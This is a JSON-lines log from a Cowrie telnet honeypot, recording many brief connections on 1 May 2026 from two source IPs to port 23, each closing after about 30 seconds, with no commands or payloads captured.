{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42170,"dst_ip":"10.17.0.5","dst_port":23,"session":"133b9a060a8d","protocol":"telnet","message":"New connection: 208.115.219.122:42170 (10.17.0.5:23) [session: 133b9a060a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.059277Z"}
{"eventid":"cowrie.session.closed","duration":30.29866075515747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.065388Z","src_ip":"208.115.200.90","session":"9148a4f1b531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049215078353882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.116101Z","src_ip":"208.115.200.90","session":"ce3b2add2a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968303203582764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.131513Z","src_ip":"208.115.219.122","session":"c2866591230c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855297327041626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.177881Z","src_ip":"208.115.200.90","session":"022b59f504a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54840,"dst_ip":"10.17.0.5","dst_port":23,"session":"faae19b75eee","protocol":"telnet","message":"New connection: 208.115.200.90:54840 (10.17.0.5:23) [session: faae19b75eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.198642Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54846,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a18f4525b0c","protocol":"telnet","message":"New connection: 208.115.200.90:54846 (10.17.0.5:23) [session: 6a18f4525b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.230542Z"}
{"eventid":"cowrie.session.closed","duration":30.95479941368103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.253393Z","src_ip":"208.115.200.90","session":"a7b137f2ee49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42224,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18d1d777654","protocol":"telnet","message":"New connection: 208.115.219.122:42224 (10.17.0.5:23) [session: d18d1d777654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.287546Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42252,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc24c1a9f3ec","protocol":"telnet","message":"New connection: 208.115.219.122:42252 (10.17.0.5:23) [session: dc24c1a9f3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.344664Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54904,"dst_ip":"10.17.0.5","dst_port":23,"session":"66ac8b25c8ba","protocol":"telnet","message":"New connection: 208.115.200.90:54904 (10.17.0.5:23) [session: 66ac8b25c8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.416919Z"}
{"eventid":"cowrie.session.closed","duration":30.88961887359619,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.444132Z","src_ip":"208.115.200.90","session":"45baa49935e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32536745071411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.502007Z","src_ip":"208.115.200.90","session":"c6f6ef046b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54946,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb7d874151d3","protocol":"telnet","message":"New connection: 208.115.200.90:54946 (10.17.0.5:23) [session: cb7d874151d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.513495Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42318,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e43a0a268c","protocol":"telnet","message":"New connection: 208.115.219.122:42318 (10.17.0.5:23) [session: 08e43a0a268c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.566147Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55270,"dst_ip":"10.17.0.5","dst_port":23,"session":"71184ea71ec1","protocol":"telnet","message":"New connection: 208.115.200.90:55270 (10.17.0.5:23) [session: 71184ea71ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:13.784589Z"}
{"eventid":"cowrie.session.closed","duration":30.774144649505615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.036123Z","src_ip":"208.115.219.122","session":"6ce2ce724dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42510,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f5f0fb2f51","protocol":"telnet","message":"New connection: 208.115.219.122:42510 (10.17.0.5:23) [session: a3f5f0fb2f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.066635Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55600,"dst_ip":"10.17.0.5","dst_port":23,"session":"94be28ba05ec","protocol":"telnet","message":"New connection: 208.115.200.90:55600 (10.17.0.5:23) [session: 94be28ba05ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.110681Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54806,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a50662e3008","protocol":"telnet","message":"New connection: 208.115.200.90:54806 (10.17.0.5:23) [session: 8a50662e3008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.185847Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55612,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9abae382f6","protocol":"telnet","message":"New connection: 208.115.200.90:55612 (10.17.0.5:23) [session: ff9abae382f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.193146Z"}
{"eventid":"cowrie.session.closed","duration":30.70499324798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.199317Z","src_ip":"208.115.200.90","session":"6f575f414640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55622,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2c57fc6863","protocol":"telnet","message":"New connection: 208.115.200.90:55622 (10.17.0.5:23) [session: 7e2c57fc6863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.208583Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55638,"dst_ip":"10.17.0.5","dst_port":23,"session":"499ead288e53","protocol":"telnet","message":"New connection: 208.115.200.90:55638 (10.17.0.5:23) [session: 499ead288e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.222262Z"}
{"eventid":"cowrie.session.closed","duration":30.463430404663086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.235952Z","src_ip":"208.115.200.90","session":"5268f7a621bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42578,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc64b872863","protocol":"telnet","message":"New connection: 208.115.219.122:42578 (10.17.0.5:23) [session: edc64b872863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.357379Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42596,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5a86900778","protocol":"telnet","message":"New connection: 208.115.219.122:42596 (10.17.0.5:23) [session: 3d5a86900778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.373844Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42632,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1bc373b5d0b","protocol":"telnet","message":"New connection: 208.115.219.122:42632 (10.17.0.5:23) [session: c1bc373b5d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.419603Z"}
{"eventid":"cowrie.session.closed","duration":31.080625295639038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:14.474621Z","src_ip":"208.115.200.90","session":"8a0f54db2513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591851711273193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.022667Z","src_ip":"208.115.200.90","session":"5e34427a91a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55907440185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.036892Z","src_ip":"208.115.200.90","session":"90219ff7377f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013015270233154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.048010Z","src_ip":"208.115.219.122","session":"815d5d1cb56f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60872,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a20daf8e6d","protocol":"telnet","message":"New connection: 208.115.200.90:60872 (10.17.0.5:23) [session: 89a20daf8e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.078500Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42772,"dst_ip":"10.17.0.5","dst_port":23,"session":"a109d3a210ca","protocol":"telnet","message":"New connection: 208.115.219.122:42772 (10.17.0.5:23) [session: a109d3a210ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.087072Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":33954,"dst_ip":"10.17.0.5","dst_port":23,"session":"174f59928cac","protocol":"telnet","message":"New connection: 208.115.219.122:33954 (10.17.0.5:23) [session: 174f59928cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.092696Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60888,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d6f948f94f1","protocol":"telnet","message":"New connection: 208.115.200.90:60888 (10.17.0.5:23) [session: 5d6f948f94f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.096850Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8fda06f7afb","protocol":"telnet","message":"New connection: 208.115.200.90:60894 (10.17.0.5:23) [session: c8fda06f7afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.105972Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60920,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ef9f6a84b36","protocol":"telnet","message":"New connection: 208.115.200.90:60920 (10.17.0.5:23) [session: 7ef9f6a84b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.160091Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60936,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1782149788c","protocol":"telnet","message":"New connection: 208.115.200.90:60936 (10.17.0.5:23) [session: c1782149788c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.179269Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60934,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca53f59eea2f","protocol":"telnet","message":"New connection: 208.115.200.90:60934 (10.17.0.5:23) [session: ca53f59eea2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.184354Z"}
{"eventid":"cowrie.session.closed","duration":30.884462356567383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.204436Z","src_ip":"208.115.200.90","session":"32233148492d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":33962,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2ca05ee290","protocol":"telnet","message":"New connection: 208.115.219.122:33962 (10.17.0.5:23) [session: db2ca05ee290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.225399Z"}
{"eventid":"cowrie.session.closed","duration":30.878705263137817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.229678Z","src_ip":"208.115.200.90","session":"b91551b14ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.218661069869995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.269734Z","src_ip":"208.115.200.90","session":"fcb5def5d478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":32778,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9246a88ec8","protocol":"telnet","message":"New connection: 208.115.200.90:32778 (10.17.0.5:23) [session: ff9246a88ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.327025Z"}
{"eventid":"cowrie.session.closed","duration":30.896163940429688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.388382Z","src_ip":"208.115.200.90","session":"8ccc8b386b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7671377658844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.406055Z","src_ip":"208.115.200.90","session":"70713f39107d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":32954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e7e41771677","protocol":"telnet","message":"New connection: 208.115.200.90:32954 (10.17.0.5:23) [session: 3e7e41771677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.511780Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"2392851f1d13","protocol":"telnet","message":"New connection: 208.115.200.90:33060 (10.17.0.5:23) [session: 2392851f1d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.567518Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33102,"dst_ip":"10.17.0.5","dst_port":23,"session":"893331a71837","protocol":"telnet","message":"New connection: 208.115.200.90:33102 (10.17.0.5:23) [session: 893331a71837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:15.606527Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33610,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9c95814bdf2","protocol":"telnet","message":"New connection: 208.115.200.90:33610 (10.17.0.5:23) [session: b9c95814bdf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.032858Z"}
{"eventid":"cowrie.session.closed","duration":30.50101351737976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.101444Z","src_ip":"208.115.200.90","session":"5650e30ec71d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34298,"dst_ip":"10.17.0.5","dst_port":23,"session":"49efdd05c7fe","protocol":"telnet","message":"New connection: 208.115.219.122:34298 (10.17.0.5:23) [session: 49efdd05c7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.116261Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33670,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16941a8d6f5","protocol":"telnet","message":"New connection: 208.115.200.90:33670 (10.17.0.5:23) [session: e16941a8d6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.129485Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33692,"dst_ip":"10.17.0.5","dst_port":23,"session":"293d85e8fc30","protocol":"telnet","message":"New connection: 208.115.200.90:33692 (10.17.0.5:23) [session: 293d85e8fc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.173088Z"}
{"eventid":"cowrie.session.closed","duration":30.840380668640137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.211088Z","src_ip":"208.115.200.90","session":"d29e4fe26df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33714,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fb3eb580d2","protocol":"telnet","message":"New connection: 208.115.200.90:33714 (10.17.0.5:23) [session: 32fb3eb580d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.228668Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60958,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f2c3b435b5","protocol":"telnet","message":"New connection: 208.115.200.90:60958 (10.17.0.5:23) [session: f7f2c3b435b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.304645Z"}
{"eventid":"cowrie.session.closed","duration":31.253251791000366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.316023Z","src_ip":"208.115.200.90","session":"46f216510095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178078651428223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.361488Z","src_ip":"208.115.200.90","session":"05441e63f1f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33800,"dst_ip":"10.17.0.5","dst_port":23,"session":"608dcf4a335b","protocol":"telnet","message":"New connection: 208.115.200.90:33800 (10.17.0.5:23) [session: 608dcf4a335b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.368809Z"}
{"eventid":"cowrie.session.closed","duration":30.852105140686035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.412613Z","src_ip":"208.115.219.122","session":"19fecf7935ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":33994,"dst_ip":"10.17.0.5","dst_port":23,"session":"d98fccb4162e","protocol":"telnet","message":"New connection: 208.115.219.122:33994 (10.17.0.5:23) [session: d98fccb4162e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.424588Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33976,"dst_ip":"10.17.0.5","dst_port":23,"session":"270abbb8cbbd","protocol":"telnet","message":"New connection: 208.115.200.90:33976 (10.17.0.5:23) [session: 270abbb8cbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.490535Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34026,"dst_ip":"10.17.0.5","dst_port":23,"session":"374586e8b8fc","protocol":"telnet","message":"New connection: 208.115.200.90:34026 (10.17.0.5:23) [session: 374586e8b8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.530911Z"}
{"eventid":"cowrie.session.closed","duration":31.44732093811035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.598022Z","src_ip":"208.115.219.122","session":"3f70c99bfea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739670753479004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.720835Z","src_ip":"208.115.200.90","session":"8162f69578f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129359245300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:16.983150Z","src_ip":"208.115.219.122","session":"04f874c7d9ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858689069747925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.013876Z","src_ip":"208.115.219.122","session":"2bbb8b03c012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34654,"dst_ip":"10.17.0.5","dst_port":23,"session":"27dde53a79f3","protocol":"telnet","message":"New connection: 208.115.200.90:34654 (10.17.0.5:23) [session: 27dde53a79f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.065991Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42480,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df3a8d26c37","protocol":"telnet","message":"New connection: 208.115.219.122:42480 (10.17.0.5:23) [session: 6df3a8d26c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.092641Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34366,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3a87033e6d","protocol":"telnet","message":"New connection: 208.115.219.122:34366 (10.17.0.5:23) [session: eb3a87033e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.099124Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34376,"dst_ip":"10.17.0.5","dst_port":23,"session":"daba6e76893d","protocol":"telnet","message":"New connection: 208.115.219.122:34376 (10.17.0.5:23) [session: daba6e76893d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.102941Z"}
{"eventid":"cowrie.session.closed","duration":31.02406644821167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.113322Z","src_ip":"208.115.219.122","session":"4f8d11c4ac66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e7e499f5c61","protocol":"telnet","message":"New connection: 208.115.200.90:34690 (10.17.0.5:23) [session: 2e7e499f5c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.126778Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34688,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ab25eaed7f","protocol":"telnet","message":"New connection: 208.115.200.90:34688 (10.17.0.5:23) [session: 85ab25eaed7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.131143Z"}
{"eventid":"cowrie.session.closed","duration":30.731030225753784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.138598Z","src_ip":"208.115.200.90","session":"c9fbb9a38759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502331018447876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.143428Z","src_ip":"208.115.200.90","session":"68350f4b0c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":42520,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e57acaabad","protocol":"telnet","message":"New connection: 208.115.219.122:42520 (10.17.0.5:23) [session: d1e57acaabad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.195543Z"}
